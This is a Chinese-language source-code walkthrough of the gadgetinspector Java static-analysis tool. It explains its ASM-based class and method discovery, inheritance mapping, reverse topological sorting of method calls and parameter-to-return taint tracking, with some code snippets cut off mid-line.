跟进MethodDiscovery.discover，传入了上面保存了类信息的classResourceRnumerator，并且调用了getAllClasses方法，获取到了包括rt.jar和指定jar、war包中的所有类，并调用ClassReader的accept方法进行下一步，这里所用到的就是ASM。    public void discover(final ClassResourceEnumerator classResourceEnumerator) throws Exception {        for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {            try (InputStream in = classResource.getInputStream()) {                ClassReader cr = new ClassReader(in);                try {                    //使用asm的ClassVisitor、MethodVisitor，利用观察模式去扫描所有的class和method并记录                    cr.accept(new MethodDiscoveryClassVisitor(), ClassReader.EXPAND_FRAMES);               } catch (Exception e) {                    LOGGER.error("Exception analyzing: " + classResource.getName(), e);               }           } catch (Exception e) {                e.printStackTrace();           }       }   } ASM及访问者模式 ASM的设计原理基于访问者模式，常用于类的属性无改变，在不侵入类的情况下并对属性的操作做出扩充的场景（类似于AOP）。用生活中的例子我们可以这么理解，想象你是一个导游，要带游客参观一个由多个景点（类、方法、字段等）组成的旅游区（Java类）。访问者模式的工作方式是这样的： 景点清单：旅游区有一份固定的景点清单（类的结构，比如方法、字段，并且这些不会变动）。 游客自由行动：游客（XXXVisitor）可以自由选择在每个景点做什么（比如拍照、记录日志、修改行为）。 导游协调：导游（ASM-ClassReader）负责按顺序带游客访问每个景点，并让游客在每个景点执行自己的操作。 ASM的关键思想：字节码（景点）的结构是固定的，但你可以通过"游客"灵活地定义在每个"景点"做什么，使用时我们需要先通过字节流等方式读入要控制的类，之后传入给ClassReader的accept方法，accept方法会按照JVM规定好的类文件结构来依次调用对应的方法，我们可以通过重写ClassVisitor的各个visit方法，在调用accept时传入，从而实现自己的visitXXX的逻辑。因为ASM是基于责任链的调用，并且支持visiter的嵌套包装来进行遍历调用，调用顺序为从最外层的子visitor开始调用，直到最内层的ClassVisitor，因此需要在我们的visit逻辑中处理下一层的 1. visit()                 → 访问类的基础信息（版本、类名等） 2. visitSource()           → 源码信息（可选） 3. visitModule()           → 模块信息（Java 9+，可选） 4. visitNestHost()         → 嵌套类宿主（Java 11+，可选） 5. visitPermittedSubtype() → sealed类的许可子类（Java 17+，可选） 6. visitOuterClass()       → 外部类信息（如果是内部类） 7. visitAnnotation()       → 类上的注解（可能有多个） 8. visitTypeAnnotation()   → 类上的类型注解（可能有多个） 9. visitAttribute()         → 类的自定义属性（可能有多个） 10. visitField()           → 类的字段（按字节码中的顺序访问） 11. visitMethod()           → 类的方法（按字节码中的顺序访问） 12. visitEnd()             → 类访问结束 我们回到MethodDiscovery.discover，在通过cr.accept后，cr先调用visit方法，因此我们跟进传入cr的MethodDiscoveryClassVisitor的visit方法，MDCV的visit方法保存了当前观察类的信息 this.name：类名 this.superName：继承的父类名 this.interfaces：实现的接口名 this.isInterface：当前类是否接口 this.members：类的字段集合 this.classHandle：gadgetinspector中对于类名的封装，可以通过类名来操作类中相关属性   public void visit ( int version, int access, String name, String signature, String superName, String[]interfaces)       {            this.name = name;            this.superName = superName;            this.interfaces = interfaces;            this.isInterface = (access & Opcodes.ACC_INTERFACE) != 0;            this.members = new ArrayList<>();            this.classHandle = new ClassReference.Handle(name);//类名            annotations = new HashSet<>();            super.visit(version, access, name, signature, superName, interfaces);       } 接下来我们跳过几个不太重要的visit，来到visitField，在cr的控制下，被观察的类有多少个字段，visitField就会被调用多少次，来对字段进行处理。参数列表分别代表属性访问限定符，属性名，属性类型，泛型，属性的初始值（只有静态字段生效）该方法调用时，会先判断该字段是否是静态if ((access & Opcodes.ACC_STATIC) == 0)，之后会通过判断字段的类型，如果是Object或者数组类型，就获取其具体内部类型，如果是基本类型，就获取类型的原始描述符。 比如String类型是Object，String[]是Array，那么最后保存的是java/lang/String，Int类型保留原始描述符后为I。获取到类型后将数据保存到visit中初始化好的列表member中。        @Override        public FieldVisitor visitField(int access, String name, String desc,                                       String signature, Object value) {            if ((access & Opcodes.ACC_STATIC) == 0) {                Type type = Type.getType(desc);                String typeName;                if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {                    typeName = type.getInternalName();               } else {                    typeName = type.getDescriptor();               }                members.add(new ClassReference.Member(name, access, new ClassReference.Handle(typeName)));           }            return super.visitField(access, name, desc, signature, value);       } 可以看到传入的是ClassReference的内部类Member的构造函数，我们跟进ClassReference及Member的结构，可以发现在ClassReference中通过member数组来存储字段信息，内部类Member存储了字段的名字，访问限定修饰符，以及一个Handle类型的type，用来存储属性类型。Handle也是ClassReference中的一个内部类，只有一个字段，用来存储类名。大概访问流程是每个被观测的类对应一个MethodDiscoveryClassVisitor及ClassReference，当ASM观测到一个字段时调用visitField，此时visitField private final Member[] members;    public static class Member {        private final String name;        private final int modifiers;        private final ClassReference.Handle type;        public Member(String name, int modifiers, Handle type) {            this.name = name;            this.modifiers = modifiers;            this.type = type;       }    public static class Handle {        private final String name;        public Handle(String name) {            this.name = name;       }        public String getName() {            return name;       }        @Override        public boolean equals(Object o) {            if (this == o) return true;            if (o == null || getClass() != o.getClass()) return false;            Handle handle = (Handle) o;            return name != null ? name.equals(handle.name) : handle.name == null;       }        @Override        public int hashCode() {            return name != null ? name.hashCode() : 0;       }   } 接下来进行 visitMethod，依旧是观察到多少个方法就会调用多少次，初始化一个MethodReference，传入类名，方法名，方法描述（方法的返回值类型以及参数类型，需要使用Type类来进行解析），并且将方法添加到列表discoveredMethods中。        @Override        public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {            boolean isStatic = (access & Opcodes.ACC_STATIC) != 0;            //找到一个方法，添加到缓存            discoveredMethods.add(new MethodReference(                    classHandle,//类名                    name,                    desc,                    isStatic));            return super.visitMethod(access, name, desc, signature, exceptions);       } 最后进入到visitEnd，刚才也说过了会将所有字段整合到一个ClassReference中，并且将整合好的ClassReference添加到discoveredClasses中        @Override        public void visitEnd() {            ClassReference classReference = new ClassReference(                    name,                    superName,                    interfaces,                    isInterface,                    members.toArray(new ClassReference.Member[members.size()]),                    annotations);//把所有找到的字段封装            //找到一个方法遍历完成后，添加类到缓存            discoveredClasses.add(classReference);            super.visitEnd();       } 整个methodDiscovery.discovr执行完成，继续到下一步methodDiscovery.save();中，通过DataLoader.saveData完成。其中对于classes.dat和methods.dat分别通过ClassReference.Factory()和MethodReference.Factory()创建的factory进行序列化存储    public static <T> void saveData(Path filePath, DataFactory<T> factory, Collection<T> values) throws IOException {        try (BufferedWriter writer = Files.newWriter(filePath.toFile(), StandardCharsets.UTF_8)) {            for (T value : values) {                final String[] fields = factory.serialize(value);                if (fields == null) {                    continue;               }                StringBuilder sb = new StringBuilder();                for (String field : fields) {                    if (field == null) {                        sb.append("\t");                   } else {                        sb.append("\t").append(field);                   }               }                writer.write(sb.substring(1));                writer.write("\n");           }       } 最终形成的文件格式如下： classes.dat: 类名(例：java/lang/String) 父类 接口A,接口B,接口C 是否接口 字段1!字段1access!字段1类型!字段2!字段2access!字段1类型 methods.dat: 类名 方法名 方法描述 是否静态方法 在持久化相关数据后，会通过Map来整合ClassReference.Handle和ClassReference之间的映射关系        Map<ClassReference.Handle, ClassReference> classMap = new HashMap<>();        for (ClassReference clazz : discoveredClasses) {            classMap.put(clazz.getHandle(), clazz);       } 接下来进行类的继承以及实现关系的整合分析 InheritanceDeriver.derive(classMap).save(); 跟进到InheritanceDeriver.derive中，可以看到做的事就是利用Map来保存继承关系，形成了类- >（父类,接口,超类）的映射关系。    public static InheritanceMap derive(Map<ClassReference.Handle, ClassReference> classMap) {        LOGGER.debug("Calculating inheritance for " + (classMap.size()) + " classes...");        Map<ClassReference.Handle, Set<ClassReference.Handle>> implicitInheritance = new HashMap<>();        //遍历所有类        for (ClassReference classReference : classMap.values()) {            if (implicitInheritance.containsKey(classReference.getHandle())) {                throw new IllegalStateException("Already derived implicit classes for " + classReference.getName());           }            Set<ClassReference.Handle> allParents = new HashSet<>();            //获取classReference的所有父类、超类、接口类            getAllParents(classReference, classMap, allParents);            //添加缓存：类名 -> 所有的父类、超类、接口类            implicitInheritance.put(classReference.getHandle(), allParents);       }        //InheritanceMap翻转集合，转换为{class:[subclass]}        return new InheritanceMap(implicitInheritance);   } getAllParents方法会递归的将当前观察类的所有父类、接口的父类查找出来，并且添加到allParents集合中    private static void getAllParents(ClassReference classReference, Map<ClassReference.Handle, ClassReference> classMap, Set<ClassReference.Handle> allParents) {        Set<ClassReference.Handle> parents = new HashSet<>();        //把当前classReference类的父类添加到parents        if (classReference.getSuperClass() != null) {            parents.add(new ClassReference.Handle(classReference.getSuperClass()));       }        //把当前classReference类实现的所有接口添加到parents        for (String iface : classReference.getInterfaces()) {            parents.add(new ClassReference.Handle(iface));       }        for (ClassReference.Handle immediateParent : parents) {            //从所有类数据集合中，遍历找出classReference的父类、接口            ClassReference parentClassReference = classMap.get(immediateParent);            if (parentClassReference == null) {                LOGGER.debug("No class id for " + immediateParent.getName());                continue;           }            //继续添加到集合中            allParents.add(parentClassReference.getHandle());            //继续递归查找，直到把classReference类的所有父类、超类、接口类都添加到allParents            getAllParents(parentClassReference, classMap, allParents);       }   } 最后将类名与整合好的allParents形成映射关系，存储到implicitInheritance中： implicitInheritance.put(classReference.getHandle(), allParents); 接下来会用InheritanceMap构造函数将implicitInheritance的子->父的映射关系进行逆转整合。    private final Map<ClassReference.Handle, Set<ClassReference.Handle>> inheritanceMap;    //父-子关系集合    private final Map<ClassReference.Handle, Set<ClassReference.Handle>> subClassMap;    public InheritanceMap(Map<ClassReference.Handle, Set<ClassReference.Handle>> inheritanceMap) {        this.inheritanceMap = inheritanceMap;        subClassMap = new HashMap<>();        for (Map.Entry<ClassReference.Handle, Set<ClassReference.Handle>> entry : inheritanceMap.entrySet()) {            ClassReference.Handle child = entry.getKey();            for (ClassReference.Handle parent : entry.getValue()) {                subClassMap.computeIfAbsent(parent, k -> new HashSet<>()).add(child);           }       }   } 其中这一行代码会判断inheritanceMap中每个子类对应的set中的value（parent），是否在subClassMap中，如果不存在执行Lambda表达式，创建一个新的空HashSet，将parent作为key，HashSet作为value存入subClassMap，并且将child添加到HashSet中。最终subClassMap就变成了父类->子类的映射关系。 subClassMap.computeIfAbsent(parent, k -> new HashSet<>()).add(child); 举个例子： 假设 inheritanceMap 包含： "Dog" → {"Animal", "Object"} "Cat" → {"Animal", "Object"} 则 subClassMap 的构建过程如下： 处理 Dog 的父类 Animal： subClassMap 中没有 Animal，创建HashSet → Animal: {Dog} 处理 Dog 的父类 Object： 没有 Object，创建HashSet → Object: {Dog} 处理 Cat 的父类 Animal： Animal 已存在，直接添加 → Animal: {Dog, Cat} 处理 Cat 的父类 Object： Object 已存在，添加 → Object: {Dog, Cat} 最终 subClassMap 结果： "Animal" → {"Dog", "Cat"} "Object" → {"Dog", "Cat"} 最后调用save方法对继承关系进行保存，方法依旧和上面一样，会进行序列化后持久化存储：    public void save() throws IOException {        //inheritanceMap.dat数据格式：        //类名 父类或超类或接口类1 父类或超类或接口类2 父类或超类或接口类3 ...        DataLoader.saveData(Paths.get("inheritanceMap.dat"), new InheritanceMapFactory(), inheritanceMap.entrySet());   } 最终形成的inheritanceMap.dat结构如下： 类名 父类或超类或接口类1 父类或超类或接口类2 父类或超类或接口类3 ... 0x04 入参返回值污染关系收集-PassthroughDiscovery 这一步类似于污点分析，我们对各个方法的参数对返回值的污染关系做出总结：        if (!Files.exists(Paths.get("passthrough.dat")) && ConfigHelper.taintTrack) {            LOGGER.info("Analyzing methods for passthrough dataflow...");            PassthroughDiscovery passthroughDiscovery = new PassthroughDiscovery();            //记录参数在方法调用链中的流动关联（如：A、B、C、D四个方法，调用链为A->B B->C C->D，其中参数随着调用关系从A流向B，在B调用C过程中作为入参并随着方法结束返回，最后流向D）            //该方法主要是追踪上面所说的"B调用C过程中作为入参并随着方法结束返回"，入参和返回值之间的关联            passthroughDiscovery.discover(classResourceEnumerator, config);            passthroughDiscovery.save();       } 跟进passthroughDiscovery.discover当中，首先会将我们上一步MethodDiscovery所生成的类、方法、继承信息读取进来    public void discover(final ClassResourceEnumerator classResourceEnumerator, final GIConfig config) throws IOException {        //加载文件记录的所有方法信息        Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();        //加载文件记录的所有类信息        Map<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();        //加载文件记录的所有类继承、实现关联信息        InheritanceMap inheritanceMap = InheritanceMap.load(); 接下来通过discoverMethodCalls，来找出所有方法间的调用关系，我们继续跟进  //搜索方法间的调用关系，缓存至methodCalls集合，返回 类名->类资源 映射集合        Map<String, ClassResourceEnumerator.ClassResource> classResourceByName = discoverMethodCalls(classResourceEnumerator); 在该方法中，依然是通过ASM来先对所有的类进行一次观察，用到的visitor是MethodCallDiscoveryClassVisitor，并且这里的MethodCallDiscoveryClassVisitor内部是做了一些包装的，这一部分的执行顺序可能会有点乱，我会在方法分析结束后总结一下：    private Map<String, ClassResourceEnumerator.ClassResource> discoverMethodCalls(final ClassResourceEnumerator classResourceEnumerator) throws IOException {        Map<String, ClassResourceEnumerator.ClassResource> classResourcesByName = new HashMap<>();        for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {            try (InputStream in = classResource.getInputStream()) {                ClassReader cr = new ClassReader(in);                  try {                    MethodCallDiscoveryClassVisitor visitor = new MethodCallDiscoveryClassVisitor(Opcodes.ASM6);                    cr.accept(visitor, ClassReader.EXPAND_FRAMES);                    classResourcesByName.put(visitor.getName(), classResource);               } catch (Exception e) {                    LOGGER.error("Error analyzing: " + classResource.getName(), e);               }           }       }        return classResourcesByName;   } 分别跟进MCDCV的visit以及visitMethod方法，visit方法中将传入进来的classname进行记录 @Override public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { super.visit(version, access, name, signature, superName, interfaces); if (this.name != null) { throw new IllegalStateException("ClassVisitor already visited a class!"); } thi visitMethod方法又创建了一个MethodCallDiscoveryMethodVisitor，并且可以看到在实例化时将上面的mv也传了进去。但其实我们观察MethodCallDiscoveryClassVisitor的构造函数，在调用父类构造函数时并没有传入任何的classvisitor，因此父类ClassVisitor的cv属性为null，最终返回的也是个null，在这里传入给MCDMV的mv也是个null：       @Override        public MethodVisitor visitMethod(int access, String name, String desc,                                         String signature, String[] exceptions) {            MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);            //在visit每个method的时候，创建MethodVisitor对method进行观察            MethodCallDiscoveryMethodVisitor modelGeneratorMethodVisitor = new MethodCallDiscoveryMethodVisitor(                    api, mv, this.name, name, desc);            return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions);       } // MethodCallDiscoveryClassVisitor的构造函数 MethodCallDiscoveryClassVisitor visitor = new MethodCallDiscoveryClassVisitor(Opcodes.ASM6); //父类ClassVisitor的构造函数  public ClassVisitor(final int api) {    this(api, null); }   public ClassVisitor(final int api, final ClassVisitor classVisitor) {    if (api != Opcodes.ASM6        && api != Opcodes.ASM5        && api != Opcodes.ASM4        && api != Opcodes.ASM7_EXPERIMENTAL) {      throw new IllegalArgumentException();   }    this.api = api;    this.cv = classVisitor; } //父类ClassVisitor的visitMethod方法 public MethodVisitor visitMethod(      final int access,      final String name,      final String descriptor,      final String signature,      final String[] exceptions) {    if (cv != null) {      return cv.visitMethod(access, name, descriptor, signature, exceptions);   }    return null; } 跟进MethodCallDiscoveryMethodVisitor，可以发现父类为MethodVisitor，并且调用父类的构造函数时传入了mv，但其实我们这里静态分析可以分析出来mv是null的，即便传入了在调用MethodVisitor.visitXXX时，最终也不会走到cv.visitXXX上，我这里推测是作者为了工具的扩充性，如果我们需要添加其他的visitor来对方法进行其他处理，那么就可以形成我们之前提到的类似于责任链的方式，来遍历的调用visitXXX：        public MethodCallDiscoveryMethodVisitor(final int api, final MethodVisitor mv,                                           final String owner, String name, String desc) {            super(api, mv); 我们继续看，可以看到接下来会将传入的owner（此时正在观察的类名）封装到ClassReference.Handle中，并再将这个CRF.Handle和方法名、方法的相关描述封装到一个MethodReference.Handle中，calledMethods是每次观察到一个方法，都会创建的空HashSet，最终形成了观察方法：{被观察方法调用方法}的映射关系存入到methodCalls中：           // private final Map<MethodReference.Handle, Set<MethodReference.Handle>> methodCalls = new HashMap<>();            this.calledMethods = new HashSet<>();            methodCalls.put(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc), calledMethods);       } 继续向下看，类中还有一个visitMethodInsn方法，当检测到方法内部的调用时就会执行（底层原理是检查到字节码指令INVOKEVIRTUAL、INVOKESPECIAL、INVOKESTATIC、INVOKEINTERFACE），从而将正在观察的方法中调用的方法加入到calledMethods中 @Override public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {    calledMethods.add(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc));    super.visitMethodInsn(opcode, owner, name, desc, itf); }指令调用类型适用方法特点INVOKEVIRTUAL虚方法调用（动态绑定）普通实例方法（非私有、非构造器、非静态）运行时根据对象实际类型选择方法，支持多态INVOKESPECIAL特殊方法调用（静态绑定）构造器、私有方法、super.xxx()编译时就决定调用哪一个，不支持多态INVOKESTATIC静态方法调用static 修饰的方法无需对象即可调用，直接通过类名调用INVOKEINTERFACE接口方法调用接口定义的方法运行时通过接口表定位目标方法，支持多态 回到visitMethod中，最后会进行return操作，并且return的是JSRInlinerAdapter。为什么要return这个类呢，因为在早期的java版本中，使用JSR和RET跳转指令来进行程序流程控制，在后续版本已废弃并使用GOTO指令，因此需要进行兼容处理。JSRInlinerAdapter会将JSR和RET指令转为GOTO指令，从而兼容了早期项目。 return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions); 经过这些封装，调用cr.accept(visitor, ClassReader.EXPAND_FRAMES);将封装好的MethodCallDiscoveryClassVisitor传入进行方法调用关系收集。accept执行顺序如下： MethodCallDiscoveryClassVisitor.visit对类进行观察 当观察到方法时调用MethodCallDiscoveryClassVisitor.visitMethod，其中会创建一个MethodCallDiscoveryMethodVisitor实例，并包装为JSRInlinerAdapter返回，创建实例时会自动为观察到的方法添加一个映射关系，即当前观察方法->calledMethods 当触发了visitxxx时，会先把这些visitxxx发给JSRInlinerAdapter，JSRInlinerAdapter通过各个visit方法对JSR和RET跳转指令进行转换。 JSRInlinerAdapter 本身也是一个 MethodVisitor，它的回调时机完全跟 ASM 的方法遍历流程一致，只不过它在内部额外“钩”了两个地方来做子例程（JSR/RET）内联： visitJumpInsn每当 ASM 在浏览方法字节码时碰到一个跳转指令（visitJumpInsn(int opcode, Label lbl)），就会调用到它的这个方法。 如果 opcode == JSR，它就把这个子例程入口标签记下来，标记说“后面要做内联” visitEnd当 ASM 遍历完一个方法的所有指令并调用到 visitEnd() 时，JSRInlinerAdapter 会先检查在 visitJumpInsn 里有没有记录过任何 JSR。 如果有，就走 markSubroutines() → emitCode() 的流程，把所有老版本的 JSR/RET 全部展开成 GOTO（以及必要的空值占位等） 然后再把重写后的指令列表一次性转发给它下游的 MethodVisitor（通常是一个 MethodWriter）https://code.yawk.at/org.ow2.asm/asm-analysis/5.2/org/objectweb/asm/commons/JSRInlinerAdapter.java 换句话说： 只要你把 JSRInlinerAdapter 插到你的 MethodVisitor 链上（手动 new 一个 或者在使用 ClassWriter.COMPUTE_FRAMES／ClassReader.EXPAND_FRAMES 时 ASM 自动给你插入）， 在方法遍历时遇到跳转就会进 visitJumpInsn， 在方法结束时（visitEnd）就会真正触发“内联 JSR→GOTO” 的逻辑。 这样保证了旧版子例程指令在生成新的字节码之前就被全部消除，适配现代 JVM 对 StackMapFrame 的要求。 4.JSRInlinerAdapter将指令转换并内联后，会通过其visitend方法再次通过accept将visitXXX传递给下一个visitor，也就是传入的MethodCallDiscoveryMethodVisitor的visitMethodInsn方法，从而将被调用的方法添加到当前观察方法的calledMethods中。 accept方法结束后还剩一行，还是将类名和classResource的映射关系存储起来并return： classResourcesByName.put(visitor.getName(), classResource); discoverMethodCalls逻辑结束后，接下来是对methodCalls进行一次逆拓扑排序，所谓逆拓扑排序就是把拓扑排序的序列倒过来，什么你还不知道什么是拓扑排序？或许你该学一下数据结构了，或者看一下这篇文章介绍的吧 https://paper.seebug.org/1034/List<MethodReference.Handle> sortedMethods = topologicallySortMethodCalls(); 为什么我们要进行逆拓扑排序，因为在方法的调用链上，假设a方法传递参数给b方法，并且b方法的返回值影响到了a方法的返回值，那么我们在判断方法链的时候就不能从a方法来入手，需要从最深处被调用的b方法来入手，观察b方法的参数与返回值之间是否存在关系，如果存在关系则证明了a方法传入b方法的参数与b方法返回值有关，此时b方法返回值影响到了a方法返回值，那么我们也就可以断定ab方法之间存在污染关系。 在方法调用的关系中，我们可以将这些调用抽象为有向图，假设a方法内部调用了b方法，那么我们就可以将a方法对应的图节点引出一条有向边，指向b方法。最终将所有的调用关系全部依次类推，就形成了一个有向图。我们将指向其他节点的边的数量叫做一个点的出度，指向自己的边的数量叫做一个节点的入度，如果找到有向图中一个入度为0的节点，将其节点以及所有的边全部消去，并输出该节点。不断重复这一操作，直到图中所有节点和边全部被消除掉，我们就得到了一组拓扑排序序列，而这一个序列就对应了我们的方法调用顺序。 但事情并没有想象中这么顺利，在方法调用中会出现两种情况，一个是相同的方法可能会存在重复调用，并且方法调用中由于回调等方式的存在，造成图中可能会出现环路，而环路的出现会导致拓扑排序在某一时刻无法找到一个入度为0的点，也就没有拓扑序列的产生了，解决办法上面的文章也提到了。我们用一个例子来看一下具体的执行过程： 假设有以下方法调用关系： A → B → CA → D 对应的调用图为： outgoingReferences = { A: {B, D}, B: {C}, C: {}, D: {}} 初始调用：从根节点 A 开始。 dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, A); 处理节点 A： stack 为空，visitedNodes 为空 → 继续。 获取 A 的被调用方法集合 {B, D}。 将 A 加入 stack（当前路径：[A]）。 递归处理子节点 B： dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, B); 处理节点 B： stack 包含 A，不包含 B → 继续。 获取 B 的被调用方法集合 {C}。 将 B 加入 stack（当前路径：[A, B]）。 递归处理子节点 C： dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, C); 处理节点 C： stack 包含 A, B，不包含 C → 继续。 获取 C 的被调用方法集合 {}（无子节点）。 将 C 加入 visitedNodes 和 sortedMethods： visitedNodes = {C}, sortedMethods = [C] 返回处理 B。 回溯节点 B： 从 stack 中移除 B（当前路径：[A]）。 将 B 加入 visitedNodes 和 sortedMethods： visitedNodes = {C, B}, sortedMethods = [C, B] 处理 B 的下一个子节点（无剩余节点），返回处理 A。 处理节点 A 的第二个子节点 D： 将 D 加入 stack（当前路径：[A, D]）。 递归处理 D： dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, D); 处理节点 D： 获取 D 的被调用方法集合 {}（无子节点）。 将 D 加入 visitedNodes 和 sortedMethods： visitedNodes = {C, B, D}, sortedMethods = [C, B, D] 返回处理 A。 回溯节点 A： 从 stack 中移除 A（当前路径：[]）。 将 A 加入 visitedNodes 和 sortedMethods： visitedNodes = {C, B, D, A}, sortedMethods = [C, B, D, A] 污点分析顺序： 先分析 C（无依赖），确定其污点传播规则。 分析 B（依赖 C），利用 C 的结果。 分析 D（无依赖）。 最后分析 A（依赖 B 和 D），确保所有被调用方法已处理。 若存在循环调用（如 A → B → A）： 处理 A → B → A 时，第二次进入 A 的递归： stack 包含 A → 触发 if (stack.contains(node)) return; 终止递归，避免死循环。 逆拓扑排序后，接下来就是对方法参数和返回值之间污染关系的分析： passthroughDataflow = calculatePassthroughDataflow(classResourceByName, classMap, inheritanceMap, sortedMethods, config.getSerializableDecider(methodMap, inheritanceMap)); 跟进calculatePassthroughDataflow，首先会遍历sortedMethods，如果是静态初始化代码，即静态代码块，就直接跳过，因为静态代码块是在类加载的时候就加载到JVM当中，我们一般没有办法在程序运行中进行控制 final Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = new HashMap<>(); //遍历所有方法，然后asm观察所属类，经过前面DFS的排序，调用链最末端的方法在最前面 for (MethodReference.Handle method : sortedMethods) { //跳过static静态初始化代码 if (method.getName().equals("<clinit>")) { continue; } 接下来就是对当前所遍历的方法的所属类进行ASM观察： ClassResourceEnumerator.ClassResource classResource = classResourceByName.get(method.getClassReference().getName()); try (InputStream inputStream = classResource.getInputStream()) { ClassReader cr = new ClassReader(inputStream); try { PassthroughDataflowClassVisitor cv = new PassthroughDataflowClas 跟进visitor逻辑，查看visit方法，visit方法会判断当前观察的类是否是要准备观察方法的所属类 @Override public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { super.visit(version, access, name, signature, superName, interfaces); this.name = name; //不是目标观察的class跳过 if (!this.name.equals(methodToVisit.getClassReference().getName())) { 接着看visitMethod，我们需要观察的类中的方法只需要是sortedMethod中的方法即可，也就是传入进来的methodToVisit，其他方法是不存在调用关系的： //不是目标观察的method需要跳过，上一步得到的method都是有调用关系的method才需要数据流分析 if (!name.equals(methodToVisit.getName()) || !desc.equals(methodToVisit.getDesc())) { return null; } 接下来是对方法进行更细致的观察，依旧看封装后的PassthroughDataflowMethodVisitor MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions); passthroughDataflowMethodVisitor = new PassthroughDataflowMethodVisitor( classMap, inheritanceMap, this.passthroughDataflow, serializableDecider, api, mv, this.name, access, name, desc, signature, exceptions); 下面作者用代码模拟了方法调用的过程，从而在模拟的局部变量表（污点变量表）中对参数进行污点标记。我们先来回顾JVM在进行方法调用时都做了哪些事情。假设现在A方法中要调用B方法，那么此时我们是在A方法内部的，那么JVM中会有A方法的栈帧，栈帧中主要两部分，一个是局部变量表，一个是操作数栈，当A方法内部准备调用B方法时，会先将要传给B方法的参数保存到A方法栈帧的操作数栈上，此时JVM会为B方法创建其对应的栈帧，然后在A方法操作数栈上的参数会被弹到B方法栈帧的局部变量表中。B方法内部使用这些参数时，会通过LOAD指令将其从局部变量表加载到操作数栈上，再进行使用。这里的思想就是用代码去模仿JVM的行为， 下面的分析过程基于如下例子，这一段代码调用包含了入参与返回结果相同，返回结果与入参有关的情况，我们分别来看： public class Main { public String main(String args) throws IOException { String cmd = new A().method1(args); return new B().method2(cmd); }}class A { public String method1(String param) { return param; }}class B { public String method2(String param) { return new C().method3(param); }}class C { publi 逆拓扑排序后的结果为： A.method1 C.method3 B.method2 main A.method1 因此我们先从A.method1来进行分析： 这里我们看到visitCode方法，在进入方法的第一时间，ASM会先调用这个方法。对于非静态方法来说，方法参数插槽的第一个0号位位this，对于静态方法，0号位为参数，所以这里将方法内的所有参数保存在一个使用Java代码模拟的局部变量表中，localIndex为参数在局部变量表中的位置，由于参数的类型不同，所以其在局部变量表中占用的大小也不同。而argIndex对应了参数在方法中的索引，通过setLocalTaint方法，形成了局部变量表与方法参数索引之间的映射关系        @Override        public void visitCode() {            super.visitCode();            int localIndex = 0;            int argIndex = 0;            if ((this.access & Opcodes.ACC_STATIC) == 0) {                //非静态方法，第一个局部变量应该为对象实例this                //添加到局部变量表集合                setLocalTaint(localIndex, argIndex);                localIndex += 1;                argIndex += 1;           }            for (Type argType : Type.getArgumentTypes(desc)) {                //判断参数类型，得出变量占用空间大小，然后存储                setLocalTaint(localIndex, argIndex);                localIndex += argType.getSize();                argIndex += 1;           }       }                   protected void setLocalTaint(int index, T ... possibleValues) {        Set<T> values = new HashSet<T>();        for (T value : possibleValues) {            values.add(value);       }        savedVariableState.localVars.set(index, values);   }         接下来执行A.method1方法内部逻辑时（即return param），要将局部变量表中的参数通过ALOAD指令读取到操作数栈上，继续模拟，在检测到ALOAD指令时（包括其他访问局部变量表的指令），会回调visitVarInsn，将参数push到模拟的污点栈上，这里的参数可以看到是列表localVars的值，也就是局部变量表中对应的参数索引 @Override    public void visitVarInsn(int opcode, int var) {        // Extend local variable state to make sure we include the variable index        for (int i = savedVariableState.localVars.size(); i <= var; i++) {            savedVariableState.localVars.add(new HashSet<T>());       }        //变量操作，var为操作的本地变量索引        Set<T> saved0;        switch(opcode) {            case Opcodes.ILOAD:            case Opcodes.FLOAD:                push();                break;            case Opcodes.LLOAD:            case Opcodes.DLOAD:                push();                push();                break;            case Opcodes.ALOAD:                //从局部变量表取出变量数据入操作数栈，这个变量数据可能是被污染的                push(savedVariableState.localVars.get(var));                break;            case Opcodes.ISTORE:            case Opcodes.FSTORE:                pop();                savedVariableState.localVars.set(var, new HashSet<T>());                break;            case Opcodes.DSTORE:            case Opcodes.LSTORE:                pop();                pop();                savedVariableState.localVars.set(var, new HashSet<T>());                break;            case Opcodes.ASTORE:                //从栈中取出数据存到局部变量表，这个数据可能是被污染的（主要还是得看调用的方法，返回值是否可被污染）                saved0 = pop();                savedVariableState.localVars.set(var, saved0);                break;            case Opcodes.RET:                // No effect on stack                break;            default:                throw new IllegalStateException("Unsupported opcode: " + opcode);       }        super.visitVarInsn(opcode, var);        sanityCheck();   }    private void push(Set<T> possibleValues) {        // Intentionally make this a reference to the same set        savedVariableState.stackVars.add(possibleValues);   } 接下来当方法调用结束return时，由于使用了ARETURN指令，在解析到无操作数的简单指令时触发visitInsn，我们查看其具体逻辑，可以发现在方法return时，将当前栈上的值返回，即返回的是参数索引set，并将存储到了returnTaint中，代表了A.method1这个方法的调用，参数索引为1的参数param会污染返回值： @Override public void visitInsn(int opcode) { switch(opcode) { case Opcodes.IRETURN://从当前方法返回int case Opcodes.FRETURN://从当前方法返回float case Opcodes.ARETURN://从当前方法返回对象引用 returnTaint.addAll(getStackTaint(0));//栈空间从内存高位到低位分配空间 break; case Opcodes.LRETURN://从当前方法返回long case Opcodes.DRETURN://从当前方法返回doub 最后对于该方法的观察结束，将污点分析结果存到了passthroughDataflow中，可以看到形成了方法与污染参数目录集合之间的映射关系： final Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = new HashMap<>(); passthroughDataflow.put(method, cv.getReturnTaint()); C.method3 与A.method1流程一样 B.method2 